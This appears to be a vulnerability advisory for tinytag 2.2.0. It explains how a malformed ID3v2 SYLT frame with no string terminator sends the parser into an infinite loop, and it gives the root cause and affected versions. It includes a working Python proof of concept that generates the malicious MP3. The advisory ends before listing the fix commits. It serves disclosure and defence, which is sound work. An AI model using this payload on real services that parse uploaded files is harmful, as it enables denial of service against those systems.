tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.
In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:
TinyTag.get in tinytag/tinytag.py#L144-L154_load in tinytag/tinytag.py#L259-L266_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.
For single-byte encodings, _find_string_end_pos does:
return content.find(b'\x00', start_pos) + 1
If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:
while offset < content_length:
end_pos = self._find_string_end_pos(content, encoding, offset)
value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
offset = end_pos
time = unpack('>I', content[offset:offset + 4])[0]
Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.
SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.
Test environment:
26.3 / Darwin arm643.14.3tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)main commit 1d23f6fe169c92c070a265f9108e295577141383The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:
#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO
from tinytag import TinyTag
def create_malicious_mp3() -> bytes:
id3_header = b"ID3" + bytes([3, 0, 0]) # ID3v2.3
encoding = b"\x00" # ISO-8859-1
language = b"eng"
timestamp_format = b"\x02"
content_type = b"\x01"
descriptor = b"test\x00"
lyrics_data = b"A" * 50 # no null terminator in the remaining SYLT payload
frame_content = (
encoding + language + timestamp_format + content_type + descriptor + lyrics_data
)
frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content
tag_size = len(frame)
synchsafe = bytearray(4)
n = tag_size
for i in range(3, -1, -1):
synchsafe[i] = n & 0x7F
n >>= 7
return (
id3_header
+ bytes(synchsafe)
+ frame
+ b"\xff\xfb\x90\x00"
+ b"\x00" * 413
)
def timeout_handler(signum, frame) -> None:
print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
raise SystemExit(1)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()
try:
TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
signal.alarm(0)
print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
raise
except Exception as exc:
signal.alarm(0)
print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")
Observed output on 2.2.0 in the environment above:
CONFIRMED: parsing did not finish within 10.0s; external interruption was required
An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.
In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.
Fixed in the following commits: